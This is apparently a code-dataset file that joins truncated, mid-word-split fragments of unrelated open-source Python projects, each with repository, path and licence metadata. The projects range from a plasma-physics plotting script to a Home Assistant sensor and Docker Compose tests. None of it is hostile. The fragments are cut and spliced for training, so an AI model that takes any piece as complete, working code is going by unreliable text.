#!/usr/bin/env python from __future__ import print_function from __future__ import division from builtins import str from builtins import range from past.utils import old_div from boututils import shell, launch, plotdata from boutdata import collect import numpy as np from sys import argv from math import sqrt, log, p...
v)==2: try: end_index = int(argv[1]) data_path = "data" except ValueError: end_index = -1 data_path = str(argv[1]) elif len(argv)==3: end_index = int(argv[1]) data_path = str(argv[2]) else: print("Arguments: '[end_index] [data_path]' or 'gamma [data_path]'") Exit(1) # Collect the data Te = ...
s=True) if end_index<0: end_index = len(Te[:,0,0,0]) Te_left = [] Ti_left = [] for i in range(end_index): Te_left.append(old_div((Te[i,0,2,0]+Te[i,0,3,0]),2)) Ti_left.append(old_div((Ti[i,0,2,0]+Ti[i,0,3,0]),2)) # Make plot if len(argv)>2: pyplot.semilogx(Te_left[:end_index],'r',Ti_left[:end_index],'b') pypl...
jonaubf/flask-mongo-testapp
testapp/run.py
Python
apache-2.0
107
0
from mainapp im
port create_app app = create_app() if __name__ == '__main__': app.r
un(host='0.0.0.0')
varunsuresh2912/SafeRanger
Python PiCode/Lepton.py
Python
mit
7,177
0.01463
import numpy as np import ctypes import struct import time # relative imports in Python3 must be explicit from .ioctl_numbers import _IOR, _IOW from fcntl import ioctl SPI_IOC_MAGIC = ord("k") SPI_IOC_RD_MODE = _IOR(SPI_IOC_MAGIC, 1, "=B") SPI_IOC_WR_MODE = _IOW(SPI_IOC_MAGIC, 1, "=B") SPI_IOC_...
AGIC, 0, self.__xmit_struct.format) self.__capture_buf = np.zeros((Lepto
n.ROWS, Lepton.VOSPI_FRAME_SIZE, 1), dtype=np.uint16) for i in range(Lepton.ROWS): self.__xmit_struct.pack_into(self.__xmit_buf, i * self.__msg_size, self.__txbuf.ctypes.data, # __u64 tx_buf; self.__capture_buf.ctypes.data + Lepton.VOSPI_FRAME_...
shyba/cryptosync
cryptosync/tests/test_webserver.py
Python
agpl-3.0
1,579
0
from twisted.trial.unittest import TestCase from mock import Mock from twisted.web.test.test_web import
DummyRequest from twisted.web.http import OK, NOT_FOUND from cryptosync.resources import make_site def make_request(uri='', method='GET', args={}): site = make_site(authenticator=Mock()) request = DummyRequest(uri.split('/')) request.method = method request.args =
args resource = site.getResourceFor(request) request.render(resource) request.data = "".join(request.written) return request class RootResourceResponseCodesTestCase(TestCase): def test_root_resource_ok(self): request = make_request() self.assertEquals(request.responseCode, OK) ...
sdurrheimer/compose
tests/unit/cli/errors_test.py
Python
apache-2.0
2,518
0.000397
from __future__ import absolute_import from __future__ import unicode_literals import pytest from docker.errors import APIError from requests.exceptions import ConnectionError from compose.cli import errors from compose.cli.errors import handle_connection_errors from tests import mock @pytest.yield_fixture def mock...
with mock.patch('compose.cli.errors.log', autospec=True) as mock_log: yield mock_log def patch_f
ind_executable(side_effect): return mock.patch( 'compose.cli.errors.find_executable', autospec=True, side_effect=side_effect) class TestHandleConnectionErrors(object): def test_generic_connection_error(self, mock_logging): with pytest.raises(errors.ConnectionError): ...
miniconfig/home-assistant
homeassistant/components/sensor/currencylayer.py
Python
mit
3,774
0
""" Support for curren
cylayer.com exchange rates service. For more details about this platform, please refer to the documentation at https://home-assistant.io/components/sensor.currencylayer/ """ fro
m datetime import timedelta import logging import requests import voluptuous as vol from homeassistant.components.sensor import PLATFORM_SCHEMA from homeassistant.const import ( CONF_API_KEY, CONF_NAME, CONF_BASE, CONF_QUOTE, ATTR_ATTRIBUTION) from homeassistant.helpers.entity import Entity from homeassistant.uti...
liduanw/viewfinder
backend/op/notification_manager.py
Python
apache-2.0
42,665
0.009938
# Copyright 2012 Viewfinder Inc. All Rights Reserved. """Viewfinder notification manager. The notification manager: 1. Creates notifications for the various operations. Notifications allow the client to incrementally stay in sync with server state as it changes. Each operation triggers zero, one, or mo...
ey have been added to the specified viewpoint. Invalidates the entire viewpoint so that the new follower will load it in its entirety. Also notifies all existing followers of the viewpoint that new followers have been added. Creates an add_followers activity in the viewpoint. """ # Create activity
that includes user ids of all contacts added in the request, even if they were already followers. activity_func = NotificationManager._CreateActivityFunc(act_dict, Activity.CreateAddFollowers, contact_user_ids) # Invalidate entire viewpoint for new followers, and just the followers list for existing followers....